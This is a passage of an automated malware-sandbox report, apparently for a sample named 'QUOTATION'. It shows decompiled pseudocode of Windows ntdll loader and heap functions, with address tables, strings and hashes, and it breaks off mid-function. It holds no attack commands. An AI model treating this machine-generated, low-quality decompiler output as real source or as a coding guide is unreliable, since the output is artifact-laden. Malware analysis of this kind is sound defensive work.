			E33729046(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				short _t95;
				intOrPtr _t110;
				short _t118;
				signed int _t131;
				intOrPtr _t136;
				intOrPtr _t140;
				intOrPtr _t146;
				intOrPtr* _t148;
				intOrPtr _t151;
				intOrPtr _t152;
				intOrPtr* _t154;
				void* _t156;

				_t141 = __edx;
				_push(0x154);
				_push(0x337fbe98);
				E33777C40(__ebx, __edi, __esi);
				 *(_t156 - 0xf0) = __edx;
				_t151 = __ecx;
				 *((intOrPtr*)(_t156 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t156 - 0xf8)) =  *((intOrPtr*)(_t156 + 8));
				 *((intOrPtr*)(_t156 - 0xe8)) =  *((intOrPtr*)(_t156 + 0xc));
				 *((intOrPtr*)(_t156 - 0xf4)) =  *((intOrPtr*)(_t156 + 0x10));
				 *((intOrPtr*)(_t156 - 0xe4)) = 0;
				 *((short*)(_t156 - 0xda)) = 0;
				 *(_t156 - 0xe0) = 0;
				 *((intOrPtr*)(_t156 - 0x140)) = 0x40;
				E33768F40(_t156 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t156 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t156 - 0x160)) = 1;
				_t131 = 7;
				memset(_t156 - 0x15c, 0, _t131 << 2);
				_t146 =  *((intOrPtr*)(_t156 - 0xe8));
				_t152 = E33739870(1, _t151, 0,  *((intOrPtr*)(_t156 - 0xf8)), _t146,  *((intOrPtr*)(_t156 - 0xf4)), _t156 - 0xe0, 0, 0);
				if(_t152 >= 0) {
					if( *0x338165e0 == 0 || ( *(_t156 - 0xe0) & 0x00000001) != 0) {
						goto L1;
					} else {
						_t152 = E3373A170(7, 0, 2,  *((intOrPtr*)(_t156 - 0xfc)), _t156 - 0x140);
						if(_t152 < 0) {
							goto L1;
						}
						if( *((intOrPtr*)(_t156 - 0x13c)) != 1) {
							L11:
							_t152 = 0xc0150005;
							goto L1;
						}
						if(( *(_t156 - 0x118) & 0x00000001) == 0) {
							if(( *(_t156 - 0x118) & 0x00000002) != 0) {
								 *(_t156 - 0x120) = 0xfffffffc;
							}
						} else {
							 *(_t156 - 0x120) =  *(_t156 - 0x120) & 0x00000000;
						}
						_t136 =  *((intOrPtr*)(_t156 - 0x114));
						_t95 =  *((intOrPtr*)(_t136 + 0x5c));
						 *((short*)(_t156 - 0xda)) = _t95;
						 *((short*)(_t156 - 0xdc)) = _t95;
						 *((intOrPtr*)(_t156 - 0xd8)) =  *((intOrPtr*)(_t136 + 0x60)) +  *((intOrPtr*)(_t156 - 0x110));
						 *((intOrPtr*)(_t156 - 0xe8)) = _t156 - 0xd0;
						 *((short*)(_t156 - 0xea)) = 0xaa;
						_t152 = E33745A40(_t141,  *(_t156 - 0xf0) & 0x0000ffff, _t156 - 0xec, 2, 0);
						if(_t152 < 0 || E337404C0(_t156 - 0xdc, _t156 - 0xec, 1) == 0) {
							goto L1;
						} else {
							_t154 =  *0x338165e0; // 0x76b5a680
							 *0x338191e0( *(_t156 - 0x120),  *(_t156 - 0xf0), _t156 - 0xe4);
							_t152 =  *_t154();
							 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
							if(_t152 < 0) {
								goto L1;
							} else {
								_t110 =  *((intOrPtr*)(_t156 - 0xe4));
								if(_t110 == 0xffffffff) {
									L26:
									 *((intOrPtr*)(_t156 - 4)) = 1;
									_t148 =  *0x338165e8;
									if(_t148 != 0) {
										 *0x338191e0(_t110);
										 *_t148();
									}
									 *((intOrPtr*)(_t156 - 4)) = 0xfffffffe;
									goto L1;
								}
								E3373DC40(_t156 - 0x164, _t110);
								 *((intOrPtr*)(_t156 - 4)) = 0;
								if( *((intOrPtr*)(_t146 + 4)) != 0) {
									E33733B90(_t146);
								}
								_t149 =  *((intOrPtr*)(_t156 - 0xfc));
								_t152 = E33739870(0,  *((intOrPtr*)(_t156 - 0xfc)), 0,  *((intOrPtr*)(_t156 - 0xf8)), _t146,  *((intOrPtr*)(_t156 - 0xf4)), _t156 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
								if(_t152 < 0) {
									L25:
									 *((intOrPtr*)(_t156 - 4)) = 0xfffffffe;
									_t110 = E3378247B();
									goto L26;
								} else {
									_t152 = E3373A170(7, 0, 2, _t149, _t156 - 0x140);
									 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
									if(_t152 < 0) {
										goto L25;
									}
									if( *((intOrPtr*)(_t156 - 0x13c)) == 1) {
										_t140 =  *((intOrPtr*)(_t156 - 0x114));
										_t118 =  *((intOrPtr*)(_t140 + 0x5c));
										 *((short*)(_t156 - 0xda)) = _t118;
										 *((short*)(_t156 - 0xdc)) = _t118;
										 *((intOrPtr*)(_t156 - 0xd8)) =  *((intOrPtr*)(_t140 + 0x60)) +  *((intOrPtr*)(_t156 - 0x110));
										if(E337404C0(_t156 - 0xdc, _t156 - 0xec, 1) == 0) {
											goto L25;
										}
										_t152 = 0xc0150004;
										L24:
										 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
										goto L25;
									}
									_t152 = 0xc0150005;
									goto L24;
								}
							}
							goto L11;
						}
					}
				}
				L1:
				 *[fs:0x0] =  *((intOrPtr*)(_t156 - 0x10));
				return _t152;
			}

0x33729046
0x33729046
0x3372904b
0x33729050
0x33729055
0x3372905b
0x3372905d
0x33729066
0x3372906f
0x33729078
0x33729080
0x33729088
0x3372908f
0x33729095
0x337290a9
0x337290b1
0x337290be
0x337290c6
0x337290cf
0x337290e2
0x337290f7
0x337290fb
0x33729118
0x00000000
0x33729123
0x3372913b
0x3372913f
0x00000000
0x00000000
0x33729147
0x3378231f
0x3378231f
0x00000000
0x3378231f
0x33729154
0x33782330
0x33782336
0x33782336
0x3372915a
0x3372915a
0x3372915a
0x33729161
0x33729167
0x3372916b
0x33729172
0x33729182
0x3372918e
0x33729199
0x337291ba
0x337291be
0x00000000
0x337291e0
0x33782358
0x33782360
0x33782368
0x3378236a
0x33782372
0x00000000
0x33782378
0x33782378
0x33782381
0x33782458
0x33782458
0x3378245b
0x33782463
0x33782468
0x3378246e
0x3378246e
0x337824a7
0x00000000
0x337824a7
0x3378238f
0x33782396
0x3378239c
0x3378239f
0x3378239f
0x337823bb
0x337823c8
0x337823ca
0x337823d2
0x3378244c
0x3378244c
0x33782453
0x00000000
0x337823d4
0x337823e7
0x337823e9
0x337823f1
0x00000000
0x00000000
0x337823f9
0x33782402
0x33782408
0x3378240c
0x33782413
0x33782423
0x3378243f
0x00000000
0x00000000
0x33782441
0x33782446
0x33782446
0x00000000
0x33782446
0x337823fb
0x00000000
0x337823fb
0x337823d2
0x00000000
0x33782372
0x337291be
0x33729118
0x337290fd
0x33729102
0x3372910e

APIs

RtlDebugPrintTimes.NTDLL ref: 33782360

Strings

@, xrefs: 33729095
$, xrefs: 337290B1

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@
API String ID: 3446177414-1194432280
Opcode ID: dd7848b21c50e20562123dac5e6937d02e23719d1ddaa4b8003afe8b9740384c
Instruction ID: d20c878f7c3e91f740056ee46169023429427be323d37aa5c28fc6711f925487
Opcode Fuzzy Hash: dd7848b21c50e20562123dac5e6937d02e23719d1ddaa4b8003afe8b9740384c
Instruction Fuzzy Hash: D28118B1D012699BDB21CB54CC45BDEB7B8AF09750F0441EAE909FB240E7709E85DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 33754C3D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117
timeCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E33754C3D(void* __ecx) {
				char _v8;
				intOrPtr* _t24;
				intOrPtr _t27;
				intOrPtr _t36;
				void* _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t45;
				void* _t47;
				intOrPtr* _t48;
				void* _t49;
				intOrPtr _t51;

				_push(__ecx);
				_t45 = 0;
				_t42 = __ecx;
				_t51 =  *0x338165e4; // 0x76b3f0e0
				if(_t51 == 0) {
					L10:
					return _t45;
				}
				_t40 =  *((intOrPtr*)(__ecx + 0x18));
				_t36 =  *0x33815b24; // 0x3412cd8
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t36) {
					_t24 =  *((intOrPtr*)(_t42 + 0x28));
					if(_t42 == _t36) {
						_t47 = 0x5c;
						if( *_t24 == _t47) {
							_t39 = 0x3f;
							if( *((intOrPtr*)(_t24 + 2)) == _t39 &&  *((intOrPtr*)(_t24 + 4)) == _t39 &&  *((intOrPtr*)(_t24 + 6)) == _t47 &&  *((intOrPtr*)(_t24 + 8)) != 0 &&  *((short*)(_t24 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t24 + 0xc)) == _t47) {
								_t24 = _t24 + 8;
							}
						}
					}
					_t48 =  *0x338165e4; // 0x76b3f0e0
					 *0x338191e0(_t40, _t24,  &_v8);
					_t45 =  *_t48();
					if(_t45 >= 0) {
						L8:
						_t27 = _v8;
						if(_t27 != 0) {
							if( *((intOrPtr*)(_t42 + 0x48)) != 0) {
								E337226A0(_t27,  *((intOrPtr*)(_t42 + 0x48)));
								_t27 = _v8;
							}
							 *((intOrPtr*)(_t42 + 0x48)) = _t27;
						}
						if(_t45 < 0) {
							if(( *0x338137c0 & 0x00000003) != 0) {
								E3379E692("minkernel\\ntdll\\ldrsnap.c", 0x2eb, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t45);
							}
							if(( *0x338137c0 & 0x00000010) != 0) {
								asm("int3");
							}
						}
						goto L10;
					}
					if(_t45 != 0xc000008a) {
						if(_t45 != 0xc000008b && _t45 != 0xc0000089 && _t45 != 0xc000000f && _t45 != 0xc0000204 && _t45 != 0xc0000002) {
							if(_t45 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x338137c0 & 0x00000005) != 0) {
						_push(_t45);
						_t18 = _t42 + 0x24; // 0x123
						E3379E692("minkernel\\ntdll\\ldrsnap.c", 0x2ce, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t18);
						_t49 = _t49 + 0x1c;
					}
					_t45 = 0;
					goto L8;
				} else {
					goto L10;
				}
			}

0x33754c42
0x33754c47
0x33754c4a
0x33754c4c
0x33754c52
0x33754cb8
0x33754cbe
0x33754cbe
0x33754c5a
0x33754c5d
0x33754c69
0x33754c6f
0x33754c74
0x33754cd6
0x33754cda
0x337933b9
0x337933be
0x337933f7
0x337933f7
0x337933be
0x33754cda
0x33754c76
0x33754c84
0x33754c8c
0x33754c90
0x33754ca9
0x33754ca9
0x33754cae
0x33754ce4
0x33754cee
0x33754cf3
0x33754cf3
0x33754ce6
0x33754ce6
0x33754cb2
0x33793463
0x3379347b
0x33793480
0x3379348a
0x33793490
0x33793490
0x3379348a
0x00000000
0x33754cb2
0x33754c98
0x33754cc5
0x33793429
0x00000000
0x00000000
0x3379342f
0x33754cc5
0x33754ca1
0x33793434
0x33793435
0x3379344f
0x33793454
0x33793454
0x33754ca7
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33754C84

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 3379344A, 33793476
Querying the active activation context failed with status 0x%08lx, xrefs: 33793466
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 33793439
LdrpFindDllActivationContext, xrefs: 33793440, 3379346C

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: a291eef7d731541ac2f538825a772d812080d2d076f06be163a9cdf5b8922cdd
Instruction ID: 8b9319cddb15c7d8e3f2fa9ddfeb432c80c589b77e076e3461203ff9ac8cc289
Opcode Fuzzy Hash: a291eef7d731541ac2f538825a772d812080d2d076f06be163a9cdf5b8922cdd
Instruction Fuzzy Hash: 26311E76E00351AFFB19DB06C844F59B3E5FB85394F8A816AF8406F151EBA09CC0C791

Uniqueness

Uniqueness Score: -1.00%

Function 3371F8B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E3371F8B0(signed int __edx, signed int _a4) {
				signed int _v8;
				void* _v28;
				void* _v54;
				void* _v60;
				void* _v64;
				char _v88;
				void* _v90;
				signed int _v92;
				char _v96;
				void* _v100;
				void* _v104;
				void* _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t73;
				signed int* _t86;
				signed int _t87;
				signed int _t91;
				char* _t92;
				char _t96;
				void* _t102;
				signed int* _t105;
				intOrPtr _t106;
				void* _t107;
				signed int* _t110;
				signed int _t111;
				char* _t118;
				signed int _t121;
				signed int _t127;
				void* _t128;
				void* _t129;
				signed int _t131;
				signed int _t132;
				void* _t139;
				signed int _t161;
				void* _t162;
				void* _t164;
				intOrPtr* _t166;
				void* _t169;
				signed int* _t170;
				signed int* _t171;
				signed int _t174;
				signed int _t176;

				_t158 = __edx;
				_t176 = (_t174 & 0xfffffff8) - 0x64;
				_v8 =  *0x3381b370 ^ _t176;
				_push(_t128);
				_t161 = _a4;
				if(_t161 == 0) {
					__eflags =  *0x33816960 - 2;
					if( *0x33816960 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E3371B910();
						__eflags =  *0x33815da8;
						if(__eflags == 0) {
							_t139 = 2;
							E337DFC95(_t128, _t139, _t161, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t162);
					_pop(_t164);
					_pop(_t129);
					return E33764B50(_t62, _t129, _v8 ^ _t176, _t158, _t162, _t164);
				}
				if( *((intOrPtr*)(_t161 + 8)) == 0xddeeddee) {
					_t73 =  *[fs:0x30];
					__eflags = _t161 -  *((intOrPtr*)(_t73 + 0x18));
					if(_t161 ==  *((intOrPtr*)(_t73 + 0x18))) {
						L30:
						_t62 = _t161;
						goto L27;
					}
					_t141 =  *(_t161 + 0x10);
					__eflags =  *(_t161 + 0x10);
					if( *(_t161 + 0x10) != 0) {
						_t158 = _t161;
						E337C78DE(_t141, _t161, 0, 8, 0);
					}
					E3371FD8E(_t161, _t158);
					E337E02EC(_t161);
					_t158 = 1;
					E3371918A(_t161, 1, 0, 0);
					E337E8E26(_t161);
					goto L26;
				}
				if(( *(_t161 + 0x44) & 0x01000000) != 0) {
					_t166 =  *0x33813758; // 0x0
					 *0x338191e0(_t161);
					_t62 =  *_t166();
					goto L27;
				}
				_t7 = _t161 + 0x58; // 0x8953046a
				_t147 =  *_t7;
				if( *_t7 != 0) {
					_t158 = _t161;
					E337C78DE(_t147, _t161, 0, 8, 0);
				}
				E3371FD8E(_t161, _t158);
				if(( *(_t161 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t161 + 0x40) & 0x10000000;
					if(( *(_t161 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t127 = E337CF85F(_t161);
					__eflags = _t127;
					if(_t127 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t161 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						E3372FED0(0x33814800);
						E3371FAEC(_t161);
						_push(0x33814800);
						E3372E740(_t161);
						_t86 = _t161 + 0x9c;
						_t131 =  *_t86;
						while(_t86 != _t131) {
							_t87 = _t131;
							_t158 =  &_v92;
							_t131 =  *_t131;
							_v92 = _t87 & 0xffff0000;
							_v96 = 0;
							E3371FABA( &_v92,  &_v96, 0x8000);
							_t91 = E33733C40();
							__eflags = _t91;
							if(_t91 == 0) {
								_t92 = 0x7ffe0388;
							} else {
								_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t92;
							if( *_t92 != 0) {
								_t158 = _v92;
								E337DDA30(_t131, _t161, _v92, _v96);
							}
							_t86 = _t161 + 0x9c;
						}
						if( *((char*)(_t161 + 0xea)) == 2) {
							_t96 =  *((intOrPtr*)(_t161 + 0xe4));
						} else {
							_t96 = 0;
						}
						if(_t96 != 0) {
							 *(_t176 + 0x1c) = _t96;
							_t158 = _t176 + 0x1c;
							_v88 = 0;
							E3371FABA(_t176 + 0x1c,  &_v88, 0x8000);
						}
						_t132 = _t161 + 0x88;
						if( *_t132 != 0) {
							 *((intOrPtr*)(_t176 + 0x24)) = 0;
							_t158 = _t132;
							E3371FABA(_t132, _t176 + 0x24, 0x8000);
							 *_t132 = 0;
						}
						if(( *(_t161 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t161 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t169 =  *((intOrPtr*)(_t161 + 0xa8)) - 0x10;
						E3371FA44(_t169);
						if(_t169 != _t161) {
							goto L16;
						} else {
							_t102 = E33733C40();
							_t170 = 0x7ffe0380;
							if(_t102 != 0) {
								_t105 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t105 = 0x7ffe0380;
							}
							if( *_t105 != 0) {
								_t106 =  *[fs:0x30];
								__eflags =  *(_t106 + 0x240) & 0x00000001;
								if(( *(_t106 + 0x240) & 0x00000001) != 0) {
									_t121 = E33733C40();
									__eflags = _t121;
									if(_t121 != 0) {
										_t170 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t170;
									}
									 *((short*)(_t176 + 0x2a)) = 0x1023;
									_push(_t176 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t170 & 0x000000ff);
									 *(_t176 + 0x54) = _t161;
									E33762F90();
								}
							}
							_t107 = E33733C40();
							_t171 = 0x7ffe038a;
							if(_t107 != 0) {
								_t110 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t110 = 0x7ffe038a;
							}
							if( *_t110 != 0) {
								_t111 = E33733C40();
								__eflags = _t111;
								if(_t111 != 0) {
									_t171 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t171;
								}
								 *((short*)(_t176 + 0x4e)) = 0x1023;
								_push(_t176 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t171 & 0x000000ff);
								_v8 = _t161;
								E33762F90();
							}
							if(E33733C40() != 0) {
								_t118 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t118 = 0x7ffe0388;
							}
							if( *_t118 != 0) {
								E337DD9C6(_t161);
							}
							goto L26;
						}
					}
				}
			}

0x3371f8b0
0x3371f8b8
0x3371f8c2
0x3371f8c6
0x3371f8c9
0x3371f8ce
0x3377e467
0x3377e46e
0x3377e474
0x3377e47a
0x3377e47e
0x3377e49d
0x3377e4a2
0x3377e480
0x3377e495
0x3377e49a
0x3377e4a8
0x3377e4ad
0x3377e4b2
0x3377e4ba
0x3377e4c2
0x3377e4c3
0x3377e4c3
0x3377e4ba
0x3371f9f6
0x3371f9f6
0x3371f9f8
0x3371f9fc
0x3371f9fd
0x3371f9fe
0x3371fa09
0x3371fa09
0x3371f8db
0x3377e4cd
0x3377e4d3
0x3377e4d6
0x3371fa37
0x3371fa37
0x00000000
0x3371fa37
0x3377e4dc
0x3377e4e1
0x3377e4e3
0x3377e4e9
0x3377e4eb
0x3377e4eb
0x3377e4f2
0x3377e4f9
0x3377e504
0x3377e505
0x3377e50c
0x00000000
0x3377e50c
0x3371f8e8
0x3377e516
0x3377e51f
0x3377e525
0x00000000
0x3377e525
0x3371f8ee
0x3371f8ee
0x3371f8f5
0x3377e530
0x3377e532
0x3377e532
0x3371f8fd
0x3371f909
0x3377e53c
0x3377e543
0x00000000
0x00000000
0x3377e54b
0x3377e550
0x3377e552
0x00000000
0x00000000
0x00000000
0x3371f90f
0x3371f90f
0x3371f918
0x00000000
0x3371f91e
0x3371f924
0x3371f92b
0x3371f930
0x3371f931
0x3371f936
0x3371f93c
0x3371f93e
0x3377e55d
0x3377e55f
0x3377e563
0x3377e56a
0x3377e578
0x3377e57c
0x3377e581
0x3377e586
0x3377e588
0x3377e59a
0x3377e58a
0x3377e593
0x3377e593
0x3377e59f
0x3377e5a2
0x3377e5a8
0x3377e5ae
0x3377e5ae
0x3377e5b3
0x3377e5b3
0x3371f94d
0x3371fa0c
0x3371f953
0x3371f953
0x3371f953
0x3371f957
0x3371fa17
0x3371fa1b
0x3371fa28
0x3371fa2d
0x3371fa2d
0x3371f95d
0x3371f965
0x3377e5c7
0x3377e5cc
0x3377e5ce
0x3377e5d3
0x3377e5d3
0x3371f96f
0x3371f981
0x3371f981
0x00000000
0x3371f987
0x3371f98d
0x3371f992
0x3371f999
0x00000000
0x3371f99b
0x3371f99b
0x3371f9a0
0x3371f9ac
0x3377e5e3
0x3371f9b2
0x3371f9b2
0x3371f9b2
0x3371f9b7
0x3377e5ea
0x3377e5f0
0x3377e5f7
0x3377e5fd
0x3377e602
0x3377e604
0x3377e60f
0x3377e60f
0x3377e60f
0x3377e618
0x3377e621
0x3377e622
0x3377e624
0x3377e62c
0x3377e62d
0x3377e631
0x3377e631
0x3377e5f7
0x3371f9bd
0x3371f9c2
0x3371f9ce
0x3377e644
0x3371f9d4
0x3371f9d4
0x3371f9d4
0x3371f9d9
0x3377e64b
0x3377e650
0x3377e652
0x3377e65d
0x3377e65d
0x3377e65d
0x3377e666
0x3377e66f
0x3377e670
0x3377e672
0x3377e67a
0x3377e67b
0x3377e67f
0x3377e67f
0x3371f9e6
0x3377e692
0x3371f9ec
0x3371f9ec
0x3371f9ec
0x3371f9f4
0x3371fa3d
0x3371fa3d
0x00000000
0x3371f9f4
0x3371f999
0x3371f918

APIs

RtlDebugPrintTimes.NTDLL ref: 3377E51F

Strings

(HeapHandle != NULL), xrefs: 3377E4A8
HEAP: , xrefs: 3377E49D
HEAP[%wZ]: , xrefs: 3377E490

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: 63638d8dc543af1a9ce37c67e44828f577a3c0d2f634b5e1051c118bce2da517
Instruction ID: 9fa3133a9aa6ca99d22b667dd0f9be5f64bc1905997f1f6b0260aa1ceac39768
Opcode Fuzzy Hash: 63638d8dc543af1a9ce37c67e44828f577a3c0d2f634b5e1051c118bce2da517
Instruction Fuzzy Hash: D1911A72F04750DFE715DB24C898B2AB7EABF45A50F080759E880DFA92DB34D852C791

Uniqueness

Uniqueness Score: -1.00%

Function 33740AEB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210
timeCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E33740AEB(void* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t67;
				signed int _t70;
				signed int _t76;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t84;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t93;
				signed char _t101;
				intOrPtr _t104;
				void* _t108;
				void* _t111;
				signed int _t113;
				intOrPtr* _t117;
				signed int _t119;
				intOrPtr* _t120;
				signed int _t121;
				intOrPtr* _t122;
				signed int _t126;
				void* _t130;
				void* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t135;
				intOrPtr _t136;
				signed int _t137;
				signed int _t138;
				void* _t139;
				void* _t140;
				void* _t141;

				_t134 = 0;
				_t108 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t141 =  *0x338168d8 - _t134; // 0x0
				if(_t141 != 0) {
					_v20 = 1;
				}
				if( *0x338165f9 == 0) {
					_t136 =  *((intOrPtr*)(_t108 + 4));
					while(1) {
						__eflags = _t136 - _t108;
						if(_t136 == _t108) {
							break;
						}
						_t110 = _t136 - 0x54;
						E33757550(_t136 - 0x54);
						_t136 =  *((intOrPtr*)(_t136 + 4));
					}
					goto L2;
				} else {
					L2:
					_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x68));
					E3372FED0(0x338132d8);
					if( *0x338165f0 != 0) {
						_t126 =  *0x7ffe0330;
						_t135 =  *0x33819218; // 0x0
						_t111 = 0x20;
						_t110 = _t111 - (_t126 & 0x0000001f);
						asm("ror edi, cl");
						_t134 = _t135 ^ _t126;
					}
					_t137 = 0;
					_t67 =  *((intOrPtr*)(_t108 + 4));
					_v36 = 0;
					_v32 = _t67;
					if(_t67 == _t108) {
						L11:
						_push(0x338132d8);
						E3372E740(_t110);
						return _t137;
					} else {
						_t113 = _v16 & 0x00000100;
						_v16 = _t113;
						do {
							_t138 = _t67 - 0x54;
							if(_t113 != 0) {
								_t110 = _t138;
								_t70 = E33716DA6(_t138);
								_v36 = _t70;
								__eflags = _t70;
								if(_t70 < 0) {
									break;
								}
							}
							_t114 = _t138;
							E337298DE(_t138, 0);
							if(_t134 != 0) {
								__eflags =  *0x338165f8;
								if(__eflags == 0) {
									_t114 = _t134;
									 *0x338191e0(_t138);
									 *_t134();
									 *(_t138 + 0x35) =  *(_t138 + 0x35) | 0x00000008;
								}
							}
							_t148 = _v20;
							if(_v20 == 0) {
								_t76 =  *(_t138 + 0x28);
								_t114 = _t76;
								_t130 = 0x10;
								_v8 = _t76;
								if(E33741C7D(_t76, _t130, _t148) != 0) {
									_t117 = _v8;
									_t31 = _t117 + 2; // 0x2
									_t131 = _t31;
									do {
										_t78 =  *_t117;
										_t117 = _t117 + 2;
										__eflags = _t78 - _v12;
									} while (_t78 != _v12);
									_t114 = _t117 - _t131 >> 1;
									__eflags =  *0x338168d8;
									if( *0x338168d8 == 0) {
										_t33 = _t114 + 2; // 0x0
										_t79 = _t33;
									} else {
										_t104 =  *0x33815d4c; // 0x0
										_t79 = _t104 + 1 + _t114;
									}
									_v28 = _t79;
									_t132 = E33735D90(_t114,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t79 + _t79);
									_v24 = _t132;
									__eflags = _t132;
									if(_t132 != 0) {
										_t119 =  *0x338168d8; // 0x0
										__eflags = _t119;
										if(_t119 == 0) {
											_t120 = _v8;
											_t52 = _t120 + 2; // 0x2
											_v40 = _t52;
											do {
												_t84 =  *_t120;
												_t120 = _t120 + 2;
												__eflags = _t84 - _v12;
											} while (_t84 != _v12);
											_t121 = _t120 - _v40;
											__eflags = _t121;
											_t114 = _t121 >> 1;
											E337688C0(_t132, _v8, (_t121 >> 1) + (_t121 >> 1));
											_t139 = _t139 + 0xc;
											L39:
											 *0x338168d8 = _v24;
											 *0x33815d4c = _v28;
											goto L9;
										}
										_t89 =  *0x33815d4c; // 0x0
										_t90 = _t89 + _t89;
										__eflags = _t90;
										_v40 = _t90;
										E337688C0(_t132, _t119, _t90);
										_t133 = _v8;
										_t140 = _t139 + 0xc;
										_t122 = _v8;
										_t43 = _t122 + 2; // 0x2
										_v8 = _t43;
										do {
											_t93 =  *_t122;
											_t122 = _t122 + 2;
											__eflags = _t93 - _v12;
										} while (_t93 != _v12);
										_t114 = _v40 + 2;
										E337688C0(_v24 + _v40 + 2, _t133, (_t122 - _v8 >> 1) + (_t122 - _v8 >> 1));
										_t139 = _t140 + 0xc;
										E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *0x338168d8);
										goto L39;
									} else {
										_t101 =  *0x338137c0; // 0x0
										__eflags = _t101 & 0x00000003;
										if((_t101 & 0x00000003) != 0) {
											_push("Failed to allocated memory for shimmed module list\n");
											__eflags = 0;
											_push(0);
											_push("LdrpCheckModule");
											_push(0xaf4);
											_push("minkernel\\ntdll\\ldrinit.c");
											E3379E692();
											_t101 =  *0x338137c0; // 0x0
											_t139 = _t139 + 0x14;
										}
										__eflags = _t101 & 0x00000010;
										if((_t101 & 0x00000010) != 0) {
											asm("int3");
										}
										goto L9;
									}
								}
							}
							L9:
							E33740C2C(_t138, 1, _t114);
							 *(_t138 + 0x34) =  *(_t138 + 0x34) | 0x00000008;
							E3373DF36( *((intOrPtr*)(_t138 + 0x18)), _t138 + 0x24, 0x14ad);
							_t113 = _v16;
